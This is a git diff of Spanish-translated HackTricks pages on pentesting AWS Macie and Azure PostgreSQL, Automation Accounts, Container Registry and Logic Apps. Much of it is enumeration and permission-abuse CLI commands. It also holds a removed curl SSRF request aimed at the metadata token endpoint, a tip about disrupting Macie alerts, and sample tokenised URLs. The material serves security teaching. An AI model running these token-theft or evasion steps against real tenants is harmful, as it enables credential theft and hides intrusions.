Translated ['src/pentesting-cloud/azure-security/az-services/az-automati

This commit is contained in:
Translator
2025-08-21 00:24:22 +00:00
parent e01aafb432
commit c5b45e402d
21 changed files with 495 additions and 1939 deletions

View File

@@ -1,10 +1,72 @@
# Amazon Macie
## Introducción
{{#include ../../../banners/hacktricks-training.md}}
Amazon Macie es un servicio de seguridad de datos que descubre datos sensibles utilizando aprendizaje automático y coincidencia de patrones, proporciona visibilidad sobre los riesgos de seguridad de los datos y permite la protección automatizada contra esos riesgos.
## Macie
## Listando Hallazgos con la Consola de AWS
Amazon Macie se destaca como un servicio diseñado para **detectar, clasificar e identificar datos** automáticamente dentro de una cuenta de AWS. Aprovecha **aprendizaje automático** para monitorear y analizar continuamente los datos, enfocándose principalmente en detectar y alertar sobre actividades inusuales o sospechosas al examinar los datos de **eventos de cloud trail** y los patrones de comportamiento de los usuarios.
Características clave de Amazon Macie:
1. **Revisión activa de datos**: Emplea aprendizaje automático para revisar datos activamente a medida que ocurren diversas acciones dentro de la cuenta de AWS.
2. **Detección de anomalías**: Identifica actividades irregulares o patrones de acceso, generando alertas para mitigar posibles riesgos de exposición de datos.
3. **Monitoreo continuo**: Monitorea y detecta automáticamente nuevos datos en Amazon S3, empleando aprendizaje automático e inteligencia artificial para adaptarse a los patrones de acceso a los datos con el tiempo.
4. **Clasificación de datos con NLP**: Utiliza procesamiento de lenguaje natural (NLP) para clasificar e interpretar diferentes tipos de datos, asignando puntajes de riesgo para priorizar hallazgos.
5. **Monitoreo de seguridad**: Identifica datos sensibles a la seguridad, incluidos claves API, claves secretas e información personal, ayudando a prevenir filtraciones de datos.
Amazon Macie es un **servicio regional** y requiere el rol IAM 'AWSMacieServiceCustomerSetupRole' y un AWS CloudTrail habilitado para su funcionalidad.
### Sistema de Alertas
Macie categoriza las alertas en categorías predefinidas como:
- Acceso anonimizado
- Cumplimiento de datos
- Pérdida de credenciales
- Escalación de privilegios
- Ransomware
- Acceso sospechoso, etc.
Estas alertas proporcionan descripciones detalladas y desgloses de resultados para una respuesta y resolución efectivas.
### Características del Panel
El panel categoriza los datos en varias secciones, incluyendo:
- Objetos S3 (por rango de tiempo, ACL, PII)
- Eventos/usuarios de CloudTrail de alto riesgo
- Ubicaciones de actividad
- Tipos de identidad de usuario de CloudTrail, y más.
### Clasificación de Usuarios
Los usuarios se clasifican en niveles según el nivel de riesgo de sus llamadas API:
- **Platino**: Llamadas API de alto riesgo, a menudo con privilegios de administrador.
- **Oro**: Llamadas API relacionadas con la infraestructura.
- **Plata**: Llamadas API de riesgo medio.
- **Bronce**: Llamadas API de bajo riesgo.
### Tipos de Identidad
Los tipos de identidad incluyen Root, usuario IAM, Rol Asumido, Usuario Federado, Cuenta AWS y Servicio AWS, indicando la fuente de las solicitudes.
### Clasificación de Datos
La clasificación de datos abarca:
- Tipo de Contenido: Basado en el tipo de contenido detectado.
- Extensión de Archivo: Basado en la extensión del archivo.
- Tema: Clasificado por palabras clave dentro de los archivos.
- Regex: Clasificado según patrones regex específicos.
El riesgo más alto entre estas categorías determina el nivel de riesgo final del archivo.
### Investigación y Análisis
La función de investigación de Amazon Macie permite consultas personalizadas en todos los datos de Macie para un análisis profundo. Los filtros incluyen Datos de CloudTrail, propiedades de Bucket S3 y Objetos S3. Además, admite invitar a otras cuentas a compartir Amazon Macie, facilitando la gestión colaborativa de datos y el monitoreo de seguridad.
## Listando Hallazgos con AWS Console
Después de escanear un bucket S3 específico en busca de secretos y datos sensibles, se generarán hallazgos que se mostrarán en la consola. Los usuarios autorizados con permisos suficientes pueden ver y listar estos hallazgos para cada trabajo.
@@ -13,36 +75,68 @@ Después de escanear un bucket S3 específico en busca de secretos y datos sensi
## Revelando Secretos
Amazon Macie proporciona una función que muestra los secretos detectados en formato de texto claro. Esta funcionalidad ayuda en la identificación de los datos comprometidos. Sin embargo, mostrar secretos en texto claro generalmente no se considera una buena práctica debido a preocupaciones de seguridad, ya que podría exponer información sensible.
Amazon Macie proporciona una función que muestra secretos detectados en formato de texto claro. Esta funcionalidad ayuda en la identificación de los datos comprometidos. Sin embargo, mostrar secretos en texto claro generalmente no se considera una buena práctica debido a preocupaciones de seguridad, ya que podría potencialmente exponer información sensible.
<img width="596" alt="Screenshot 2025-02-10 at 19 13 53" src="https://github.com/user-attachments/assets/31c40c29-0bba-429b-8b86-4e214d1aef66" />
<img width="1154" alt="Screenshot 2025-02-10 at 19 15 11" src="https://github.com/user-attachments/assets/df616e56-a11a-41da-ac69-0bea37d143a5" />
## Enumeración
### Enumeración
```bash
# List and describe classification jobs
aws macie2 list-classification-jobs --region eu-west-1
aws macie2 describe-classification-job --job-id <Job_ID> --region eu-west-1
# Get buckets
aws macie2 describe-buckets
# Org config
aws macie2 describe-organization-configuration
# Get admin account (if any)
aws macie2 get-administrator-account
aws macie2 list-organization-admin-accounts # Run from the management account of the org
# Get macie account members (run this from the admin account)
aws macie2 list-members
# Check if automated sensitive data discovey is enabled
aws macie2 get-automated-discovery-configuration
# Get findings
aws macie2 list-findings
aws macie2 get-findings --finding-ids <ids>
aws macie2 list-findings-filters
aws macie2 get -findings-filters --id <id>
# Get allow lists
aws macie2 list-allow-lists
aws macie2 get-allow-list --id <id>
# Get different info
aws macie2 list-classification-jobs
aws macie2 describe-classification-job --job-id <Job_ID>
aws macie2 list-classification-scopes
aws macie2 list-custom-data-identifiers
aws macie2 get-custom-data-identifier --id <Identifier_ID>
# Retrieve account details and statistics
aws macie2 get-macie-session --region eu-west-1
aws macie2 get-usage-statistics --region eu-west-1
# List and manage Macie members (for organizations)
aws macie2 list-members --region eu-west-1
# List findings and get detailed information about specific findings
aws macie2 list-findings --region eu-west-1
aws macie2 get-findings --finding-id <Finding_ID> --region eu-west-1
# Manage custom data identifiers
aws macie2 list-custom-data-identifiers --region eu-west-1
aws macie2 get-custom-data-identifier --id <Identifier_ID> --region eu-west-1
# List and detail findings filters
aws macie2 list-findings-filters --region eu-west-1
aws macie2 get-findings-filter --id <Filter_ID> --region eu-west-1
aws macie2 get-macie-session
aws macie2 get-usage-statistic
```
### Privesc
{{#ref}}
../aws-privilege-escalation/aws-macie-privesc.md
{{#endref}}
### Post Explotación
> [!TIP]
> Desde la perspectiva de un atacante, este servicio no está diseñado para detectar al atacante, sino para detectar información sensible en los archivos almacenados. Por lo tanto, este servicio podría **ayudar a un atacante a encontrar información sensible** dentro de los buckets.\
> Sin embargo, tal vez un atacante también podría estar interesado en interrumpirlo para evitar que la víctima reciba alertas y robar esa información más fácilmente.
TODO: ¡Se aceptan PRs!
## Referencias
- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -3,30 +3,31 @@
{{#include ../../../banners/hacktricks-training.md}}
## PostgreSQL Database Post Exploitation
Para más información sobre PostgreSQL Database consulta:
Para más información sobre la base de datos PostgreSQL, consulta:
{{#ref}}
../az-services/az-postgresql.md
{{#endref}}
### Use la extensión pg_azure_storage para acceder a cuentas de almacenamiento
Es posible usar la extensión **`pg_azure_storage` para acceder a cuentas de almacenamiento de Azure** desde un servidor PostgreSQL. Esto utilizará los permisos de la identidad administrada asignada al servidor para acceder a la cuenta de almacenamiento.
Para más información, consulta esta técnica explicada en la sección de escalada de privilegios:
{{#ref}}
../az-privilege-escalation/az-postgresql-privesc.md
{{#endref}}
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
Con este permiso, puedes crear nuevas bases de datos dentro de una instancia de Postgres Flexible Server en Azure. Aunque esta acción en sí no modifica los recursos existentes, la creación excesiva o no autorizada de bases de datos podría llevar al consumo de recursos o al posible uso indebido del servidor.
Con este permiso, puedes crear nuevas bases de datos dentro de una instancia de Postgres Flexible Server en Azure. Si bien esta acción en sí no modifica los recursos existentes, la creación excesiva o no autorizada de bases de datos podría llevar al consumo de recursos o al posible uso indebido del servidor.
```bash
az postgres flexible-server db create \
--server-name <server_name> \
--resource-group <resource_group_name> \
--database-name <database_name>
```
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
Con este permiso, puedes iniciar la creación de copias de seguridad para una instancia de Postgres Flexible Server en Azure. Esto permite a los usuarios generar copias de seguridad bajo demanda, lo que puede ser útil para preservar datos en momentos específicos.
```bash
az postgres flexible-server backup create \
--name <server_name> \
--resource-group <resource_group_name>
--backup-name <backup_name>
```
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
Con este permiso, puedes configurar o actualizar la configuración de Protección Avanzada contra Amenazas (ATP) para una instancia de Postgres Flexible Server en Azure. Esto permite habilitar o deshabilitar características de seguridad diseñadas para detectar y responder a actividades anómalas y amenazas potenciales.

View File

@@ -9,7 +9,7 @@ Las Cuentas de Automatización de Azure son servicios basados en la nube en Micr
### Configuraciones
- **Credenciales**: La contraseña solo es accesible dentro de un runbook dentro de la cuenta de automatización, se utilizan para **almacenar nombres de usuario y contraseñas de forma segura**.
- **Variables**: Se utilizan para almacenar **datos de configuración** que pueden ser utilizados en runbooks. Esto también podría incluir información sensible como claves API. Si la variable está **almacenada cifrada**, solo está disponible dentro de un runbook dentro de la cuenta de automatización.
- **Variables**: Se utilizan para almacenar **datos de configuración** que pueden ser utilizados en runbooks. Esto también podría incluir información sensible como claves API. Si la variable está **almacenada encriptada**, solo está disponible dentro de un runbook dentro de la cuenta de automatización.
- **Certificados**: Se utilizan para almacenar **certificados** que pueden ser utilizados en runbooks.
- **Conexiones**: Se utilizan para almacenar **información de conexión** a servicios externos. Esto podría contener **información sensible**.
- **Acceso a la Red**: Se puede establecer como **público** o **privado**.
@@ -26,7 +26,7 @@ Un **Trabajo es una instancia de ejecución de un Runbook**. Cuando ejecutas un
- **Salida**: El resultado de la ejecución del Runbook.
- **Hora de Inicio y Fin**: Cuándo comenzó y se completó el trabajo.
Un trabajo contiene la **salida** de la **ejecución del Runbook**. Si puedes **leer** los **trabajos**, hazlo ya que **contienen** la **salida** de la ejecución (potencial **información sensible**).
Un trabajo contiene la **salida** de la **ejecución** del **Runbook**. Si puedes **leer** los **trabajos**, hazlo ya que **contienen** la **salida** de la ejecución (potencial **información sensible**).
### Programaciones y Webhooks
@@ -38,13 +38,13 @@ Hay 3 formas principales de ejecutar un Runbook:
### Control de Versiones
Permite importar Runbooks desde **Github, Azure Devops (Git) y Azure Devops (TFVC)**. Es posible indicar que publique los Runbooks del repositorio en la cuenta de automatización de Azure y también es posible indicar que **sincronice los cambios del repositorio** a la cuenta de automatización de Azure.
Permite importar Runbooks desde **Github, Azure Devops (Git) y Azure Devops (TFVC)**. Es posible indicar que publique los Runbooks del repositorio en la cuenta de Automatización de Azure y también es posible indicar que **sincronice los cambios del repositorio** a la cuenta de Automatización de Azure.
Cuando la sincronización está habilitada, en el **repositorio de Github se crea un webhook** para activar la sincronización cada vez que ocurre un evento de push. Ejemplo de una URL de webhook: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Ten en cuenta que estos webhooks **no serán visibles** al listar webhooks en los runbooks asociados al repositorio de Github. También ten en cuenta que **no es posible cambiar la URL del repositorio** de un control de versiones una vez creado.
Para que el control de versiones configurado funcione, la **Cuenta de Automatización de Azure** necesita tener una identidad administrada (sistema o usuario) con el rol de **`Contributor`**. Además, para asignar una identidad administrada de usuario a la Cuenta de Automatización, es necesario indicar el ID de cliente de la MI de usuario en la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
Para que el control de versiones configurado funcione, la **Cuenta de Automatización de Azure** necesita tener una identidad administrada (sistema o usuario) con el rol de **`Contributor`**. Además, para asignar una identidad administrada de usuario a la Cuenta de Automatización, es necesario indicar el ID del cliente de la MI de usuario en la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
### Entornos de Ejecución
@@ -78,7 +78,7 @@ Además, si el trabajador híbrido se está ejecutando en Azure con otras Identi
### Configuración de Estado (SC)
> [!WARNING]
> Como se indica en [la documentación](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), la Configuración de Estado de Automatización de Azure será retirada el 30 de septiembre de 2027 y reemplazada por [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
> Como se indica en [la documentación](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), la Configuración de Estado de Automatización de Azure será retirada el 30 de septiembre de 2027 y reemplazada por [Configuración de Máquina de Azure](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
Las Cuentas de Automatización también admiten **Configuración de Estado (SC)**, que es una característica que ayuda a **configurar** y **mantener** el **estado** de tus VMs. Es posible **crear** y **aplicar** configuraciones DSC a máquinas **Windows** y **Linux**.
@@ -232,6 +232,12 @@ Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -R
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## Persistencia
{{#ref}}
../az-persistence/az-automation-accounts-persistence.md
{{#endref}}
## Referencias
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)

View File

@@ -4,7 +4,7 @@
## Información Básica
Azure Container Registry (ACR) es un registro privado y seguro que te permite **almacenar, gestionar y acceder a imágenes de contenedor en la nube de Azure**. Se integra sin problemas con varios servicios de Azure, proporcionando flujos de trabajo de construcción y despliegue automatizados a gran escala. Con características como la geo-replicación y el escaneo de vulnerabilidades, ACR ayuda a garantizar la seguridad y el cumplimiento de nivel empresarial para aplicaciones en contenedores.
Azure Container Registry (ACR) es un registro privado y seguro que te permite **almacenar, gestionar y acceder a imágenes de contenedores en la nube de Azure**. Se integra sin problemas con varios servicios de Azure, proporcionando flujos de trabajo de construcción y despliegue automatizados a gran escala. Con características como la geo-replicación y el escaneo de vulnerabilidades, ACR ayuda a garantizar la seguridad y el cumplimiento de nivel empresarial para aplicaciones en contenedores.
### Permisos
@@ -29,9 +29,9 @@ También hay algunos **roles integrados** que se pueden asignar, y también es p
Hay 4 formas de autenticarte en un ACR:
- **Con Entra ID**: Esta es la **forma predeterminada** de autenticarte en un ACR. Utiliza el comando **`az acr login`** para autenticarte en el ACR. Este comando **almacenará las credenciales** en el archivo **`~/.docker/config.json`**. Además, si estás ejecutando este comando desde un entorno sin acceso a un socket de docker, como en un **cloud shell**, es posible usar la opción **`--expose-token`** para obtener el **token** para autenticarte en el ACR. Luego, para autenticarte, debes usar como nombre de usuario `00000000-0000-0000-0000-000000000000`, así: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Con Entra ID**: Esta es la **forma predeterminada** de autenticarte en un ACR. Utiliza el comando **`az acr login`** para autenticarte en el ACR. Este comando **almacenará las credenciales** en el archivo **`~/.docker/config.json`**. Además, si estás ejecutando este comando desde un entorno sin acceso a un socket de docker, como en un **cloud shell**, es posible usar la bandera **`--expose-token`** para obtener el **token** para autenticarte en el ACR. Luego, para autenticarte, debes usar como nombre de usuario `00000000-0000-0000-0000-000000000000`, así: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Con una cuenta de administrador**: El usuario administrador está deshabilitado por defecto, pero se puede habilitar y luego será posible acceder al registro con el **nombre de usuario** y **contraseña** de la cuenta de administrador con permisos completos para el registro. Esto sigue siendo compatible porque algunos servicios de Azure lo utilizan. Ten en cuenta que se crean **2 contraseñas** para este usuario y ambas son válidas. Puedes habilitarlo con `az acr update -n <acrName> --admin-enabled true`. Ten en cuenta que el nombre de usuario suele ser el nombre del registro (y no `admin`).
- **Con un token**: Es posible crear un **token** con un **`scope map`** específico (permisos) para acceder al registro. Luego, es posible usar este nombre de token como nombre de usuario y alguna de las contraseñas generadas para autenticarte en el registro con `docker login -u <registry-name> -p <password> aregistry-url>`
- **Con un token**: Es posible crear un **token** con un **`scope map`** específico (permisos) para acceder al registro. Luego, es posible usar el nombre del token como nombre de usuario y cualquiera de las contraseñas generadas para autenticarte en el registro con `docker login -u <registry-name> -p <password> <registry-url>`
- **Con un Service Principal**: Es posible crear un **service principal** y asignar un rol como **`AcrPull`** para descargar imágenes. Luego, será posible **iniciar sesión en el registro** utilizando el appId del SP como nombre de usuario y un secreto generado como contraseña.
Ejemplo de script de la [documentación](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) para generar un SP con acceso sobre un registro:
@@ -73,7 +73,7 @@ Desde la perspectiva de un atacante, es interesante verificar esto **antes de re
### Registros conectados
Esto permite básicamente **reflejar las imágenes** de un registro a otro, generalmente ubicado en las instalaciones.
Esto básicamente permite **reflejar las imágenes** de un registro a otro, generalmente ubicado en las instalaciones.
Tiene 2 modos: **Solo lectura** y **Lectura y escritura**. En el primero, las imágenes solo se **extraen** del registro de origen, y en el segundo, las imágenes también se pueden **enviar** al registro de origen.
@@ -81,9 +81,9 @@ Para que los clientes accedan al registro desde Azure, se genera un **token** cu
### Ejecuciones y Tareas
Ejecuciones y Tareas permite ejecutar en Azure acciones relacionadas con contenedores que normalmente necesitaas hacer localmente o en un pipeline de CI/CD. Por ejemplo, puedes **construir, enviar y ejecutar imágenes en el registro**.
Ejecuciones y Tareas permite ejecutar en Azure acciones relacionadas con contenedores que normalmente necesitabas hacer localmente o en un pipeline de CI/CD. Por ejemplo, puedes **construir, enviar y ejecutar imágenes en el registro**.
La forma más fácil de construir y ejecutar un contenedor es utilizando una Ejecución regular:
La forma más fácil de construir y ejecutar un contenedor es utilizando una Ejecución:
```bash
# Build
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
@@ -94,7 +94,7 @@ az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world
```
Sin embargo, eso activará ejecuciones que no son muy interesantes desde la perspectiva de un atacante porque no tienen ninguna identidad administrada adjunta.
Sin embargo, **tasks** pueden tener una **identidad administrada por el sistema y por el usuario** adjunta a ellas. Estas tareas son las útiles para **escalar privilegios** en el contenedor. En la sección de escalada de privilegios es posible ver cómo usar tareas para escalar privilegios.
Sin embargo, **tasks** pueden tener una **identidad administrada del sistema y del usuario** adjunta a ellas. Estas tareas son las útiles para **escalar privilegios** en el contenedor. En la sección de escalada de privilegios es posible ver cómo usar tareas para escalar privilegios.
### Cache
@@ -143,10 +143,16 @@ az acr cache list --registry <registry-name>
# Get cache details
az acr cache show --name <cache-name> --registry <registry-name>
```
## Acceso No Autenticado
{{#ref}}
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
{{#endref}}
## Escalación de Privilegios y Post Explotación
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## Referencias

View File

@@ -4,99 +4,175 @@
## Información Básica
Azure Logic Apps es un servicio basado en la nube proporcionado por Microsoft Azure que permite a los desarrolladores **crear y ejecutar flujos de trabajo que integran varios servicios**, fuentes de datos y aplicaciones. Estos flujos de trabajo están diseñados para **automatizar procesos empresariales**, orquestar tareas y realizar integraciones de datos a través de diferentes plataformas.
Azure Logic Apps permite a los desarrolladores **crear y ejecutar flujos de trabajo que integran varios servicios**, fuentes de datos y aplicaciones. Estos flujos de trabajo están diseñados para **automatizar procesos empresariales**, orquestar tareas y realizar integraciones de datos a través de diferentes plataformas.
Logic Apps proporciona un diseñador visual para crear flujos de trabajo con una **amplia gama de conectores preconstruidos**, lo que facilita la conexión e interacción con varios servicios, como Office 365, Dynamics CRM, Salesforce y muchos otros. También puedes crear conectores personalizados para tus necesidades específicas.
Logic Apps proporciona un **diseñador visual** para crear flujos de trabajo con una **amplia gama de conectores preconstruidos**, lo que facilita la conexión e interacción con varios servicios:
Al crear una Logic App, debes crear o vincular una cuenta de almacenamiento externa que almacene el estado del flujo de trabajo, el historial de ejecución y los artefactos. Este almacenamiento se puede configurar con ajustes de diagnóstico para monitoreo y se puede asegurar con restricciones de acceso a la red o integrarse en una red virtual para controlar el tráfico entrante y saliente.
<figure><img src="../../../images/image (197).png" alt="https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png"><figcaption></figcaption></figure>
### Ejemplos
- **Automatización de Pipelines de Datos**: Logic Apps puede automatizar **procesos de transferencia y transformación de datos** en combinación con Azure Data Factory. Esto es útil para crear pipelines de datos escalables y confiables que mueven y transforman datos entre varios almacenes de datos, como Azure SQL Database y Azure Blob Storage, ayudando en operaciones de análisis e inteligencia empresarial.
- **Integración con Azure Functions**: Logic Apps puede trabajar junto a Azure Functions para desarrollar **aplicaciones sofisticadas impulsadas por eventos que escalan según sea necesario** e integrarse sin problemas con otros servicios de Azure. Un caso de uso de ejemplo es utilizar una Logic App para activar una Azure Function en respuesta a ciertos eventos, como cambios en una cuenta de Azure Storage, permitiendo un procesamiento de datos dinámico.
### Visualizar una LogicAPP
Es posible ver una LogicApp con gráficos:
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
o verificar el código en la sección de "**vista de código de la Logic app**".
### Protección SSRF
Incluso si encuentras la **Logic App vulnerable a SSRF**, no podrás acceder a las credenciales de los metadatos ya que Logic Apps no lo permite.
Por ejemplo, algo como esto no devolverá el token:
```bash
# The URL belongs to a Logic App vulenrable to SSRF
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
```
### Opciones de alojamiento
### Opciones de Alojamiento
Hay varias opciones de alojamiento:
* **Consumo**
- **Multi-tenant**: proporciona recursos de computación compartidos, opera en la nube pública y sigue un modelo de precios por operación. Esto es ideal para cargas de trabajo ligeras y rentables. Esto despliega un "Single Workflow".
- **Multi-tenant**: Esto proporciona recursos de computación compartidos, opera en la nube pública y sigue un modelo de precios por operación. Esto es ideal para cargas de trabajo ligeras y rentables. Esto es lo que llamaremos un "Flujo de Trabajo Único".
* **Estándar**
- **Workflow Service Plan**: recursos de computación dedicados con integración de VNET para redes y cobra por instancia de plan de servicio de flujo de trabajo. Es adecuado para cargas de trabajo más exigentes que requieren un mayor control.
- **App Service Environment V3** recursos de computación dedicados con aislamiento completo y escalabilidad. También se integra con VNET para redes y utiliza un modelo de precios basado en instancias de App Service dentro del entorno.
- **Híbrido** diseñado para procesamiento local y soporte multi-nube. Permite recursos de computación gestionados por el cliente con acceso a la red local y utiliza Kubernetes Event-Driven Autoscaling (KEDA). Se basa en un entorno de aplicación de contenedor conectado.
- **Plan de Servicio de Flujo de Trabajo**: Esto proporciona recursos de computación dedicados con integración de VNET para redes y cobra por instancia de plan de servicio de flujo de trabajo. Es adecuado para cargas de trabajo más exigentes que requieren un mayor control.
- **Entorno de Servicio de Aplicaciones V3:** Esto proporciona recursos de computación dedicados con aislamiento completo y escalabilidad. También se integra con VNET para redes y utiliza un modelo de precios basado en instancias de Servicio de Aplicaciones dentro del entorno.
- **Híbrido:** Esto está diseñado para procesamiento local y soporte multi-nube. Permite recursos de computación gestionados por el cliente con acceso a la red local y utiliza Kubernetes Event-Driven Autoscaling (KEDA). Se basa en un Entorno Conectado de Aplicaciones de Contenedor.
### Características clave
- **Almacenamiento**: Las Logic Apps requieren una cuenta de Azure Storage externa para almacenar el estado del flujo de trabajo, el historial de ejecución... y debe estar en el mismo grupo de recursos que la Logic App.
- **Redes y Seguridad**: Las Logic Apps se pueden configurar con acceso público o privado. Por defecto, la aplicación está abierta a Internet, pero se puede integrar con una Red Virtual de Azure para conectividad aislada.
- **Application Insights**: La gestión del rendimiento de aplicaciones (APM) a través de Azure Monitor Application Insights se puede habilitar para rastrear el rendimiento, detectar anomalías y proporcionar análisis.
- **Control de Acceso**: Las Logic Apps admiten identidades gestionadas por el sistema e identidades gestionadas por el usuario.
## Flujos de Trabajo "Únicos" / Plan de Consumo
### Flujos de trabajo "Únicos"
Un **flujo de trabajo** es una secuencia estructurada de pasos o tareas automatizadas que ejecutan un proceso u objetivo específico. Define cómo interactúan diferentes acciones, condiciones y decisiones para lograr un resultado deseado, optimizando las operaciones y reduciendo el esfuerzo manual.
Un **flujo de trabajo** es una secuencia estructurada de pasos o tareas automatizadas que ejecutan un proceso u objetivo específico. Define cómo interactúan diferentes acciones, condiciones y decisiones para lograr un resultado deseado, optimizando las operaciones y reduciendo el esfuerzo manual. Los flujos de trabajo pueden integrar múltiples sistemas, desencadenar eventos y reglas, asegurando consistencia y eficiencia en los procesos.
> [!TIP]
> El plan de Consumo permite **crear un flujo de trabajo único sin la necesidad de una Logic App** en sí.
Azure Logic Apps ofrece la funcionalidad de **crear un flujo de trabajo único sin la necesidad de una Logic App** en sí.
### Disparadores y Acciones
Cada flujo de trabajo tiene diferentes **disparadores**. Estos disparadores son los pasos que sigue el flujo de trabajo. Cada disparador tiene sus parámetros que pueden variar según el tipo de disparador:
- Nombre de conexión
- **Tipo de Autenticación** que puede ser, Clave de Acceso, Microsoft Entra ID, autenticación de principal de servicio integrado e Identidad Gestionada de Logic Apps.
Los disparadores de flujo de trabajo indican **cuándo debe comenzar el flujo de trabajo**. Los disparadores pueden ser un punto final HTTP, un horario o decenas de eventos diferentes de Azure o incluso aplicaciones externas.
Los disparadores también tienen varias configuraciones:
- Validación de Esquema: Asegura que los datos entrantes sigan una estructura predefinida.
- Control de Concurrencia: Limita el número de ejecuciones paralelas.
- Condiciones de Disparador: condiciones que deben cumplirse antes de que se active el disparador.
- Redes: Configura el tamaño de los fragmentos para la transferencia de datos y permite suprimir los encabezados del flujo de trabajo en las respuestas.
- **Seguridad**: Habilita **Entradas/Salidas Seguras para ocultar** datos sensibles en los registros y las salidas.
Cada flujo de trabajo tiene diferentes **acciones**. Estas acciones son los pasos que sigue el flujo de trabajo. Dependiendo de la acción, diferentes parámetros estarán disponibles para configurarla, como:
**Configuraciones y Conexiones API:**
- **Nombre de conexión**: Conexión a utilizar con la que interactuará la acción.
- **Tipo de Autenticación:** Las diferentes opciones son Clave de Acceso, Microsoft Entra ID, autenticación de principal de servicio integrado e Identidad Administrada de Logic Apps.
- Desde una perspectiva de Solo Lectura, los datos de **Autenticación** siempre son interesantes ya que podrían contener información sensible.
- Desde una perspectiva de Escritura, los datos de **Autenticación** siempre son interesantes ya que podrían permitir usar los permisos de las identidades administradas asignadas.
- ...
Un flujo de trabajo tiene diferentes configuraciones como:
- Direcciones IP entrantes permitidas: Esta configuración te permite restringir quién puede activar o iniciar tu Logic App. Las opciones son Cualquier IP, Solo otras Logic Apps y Rangos de IP específicos.
- Cuenta de integración: Aquí, puedes vincular tu Logic App a una Cuenta de Integración.
- Alto rendimiento: Esta configuración permite que tu Logic App maneje más solicitudes rápidamente.
- Retención del historial de ejecución: por cuánto tiempo se mantiene el historial de las ejecuciones de tu Logic App.
Las acciones también tienen varias **configuraciones**, que dependen de la acción en sí. Algunas de las configuraciones más comunes son:
Puedes ver las diferentes conexiones API que tiene el flujo de trabajo. Dentro de cada una de estas conexiones tienen diferentes propiedades y la posibilidad de editar la conexión API donde se puede cambiar el tipo de autenticación.
- **Política de Reintento**: Configura el número de reintentos y el intervalo entre ellos.
- **Tiempo de Espera**: Establece el tiempo máximo que puede ejecutarse la acción antes de que se agote el tiempo.
- **Ejecutar Después**: Especifica las condiciones que deben cumplirse antes de que se ejecute la acción.
- **Validación de Esquema**: Asegura que los datos entrantes sigan una estructura predefinida.
- **Redes**: Configura cómo gestionar diferentes encabezados.
- **Entradas/Salidas Seguras**: Esto ocultará los datos de entrada/salida del historial de ejecución.
- ...
**Historial y Versiones:**
Tiene la opción de acceder al **historial** de las diferentes ejecuciones, muestra Configuraciones, Salida, Parámetros y el Código.
### Políticas de Autorización
También tiene la opción de acceder a diferentes **versiones** del flujo de trabajo, donde puedes revisar el código y cambiar el flujo de trabajo presente por una versión anterior de este.
**Autorización:**
Las Azure Logic Apps admiten **políticas de autorización** con Entra ID para asegurar los disparadores basados en solicitudes al requerir un token de acceso válido. Este token debe incluir reclamos específicos:
Estos flujos de trabajo admiten **políticas de autorización** con Entra ID para asegurar los disparadores basados en solicitudes al requerir un token de acceso válido. Este token debe incluir reclamos específicos:
- Emisor (iss) para verificar el proveedor de identidad
- Audiencia (aud) para asegurar que el token está destinado a la Logic App
- Sujeto (sub) para identificar al llamador
- ID de JWT (identificador de token web JSON)
- ID de JWT (identificador de JSON Web Token)
- Reclamo Personalizado
Cuando se recibe una solicitud, las Logic Apps validan el token contra estos reclamos y permiten la ejecución solo si coinciden con la política configurada. Esto se puede usar para permitir que otro inquilino active el flujo de trabajo o denegar el disparador de otras fuentes, por ejemplo, permitiendo el disparador solo si proviene de https://login.microsoftonline.com/.
Cuando se recibe una solicitud, Logic Apps valida el token contra estos reclamos y permite la ejecución solo si coinciden con la política configurada. Esto se puede usar para permitir que otro inquilino dispare el flujo de trabajo o denegar el disparo de otras fuentes, por ejemplo, permitiendo el disparo solo si proviene de https://login.microsoftonline.com/.
**Claves de Acceso:**
Cuando guardas un disparador basado en solicitudes por primera vez, las Logic Apps crean automáticamente un endpoint único con una firma SAS (creada a partir de la Clave de Acceso) que otorga permiso para llamar al flujo de trabajo. Esta firma SAS está incrustada en la URL del disparador. Esta clave se puede regenerar y dará una nueva firma SAS, pero las claves no se pueden listar.
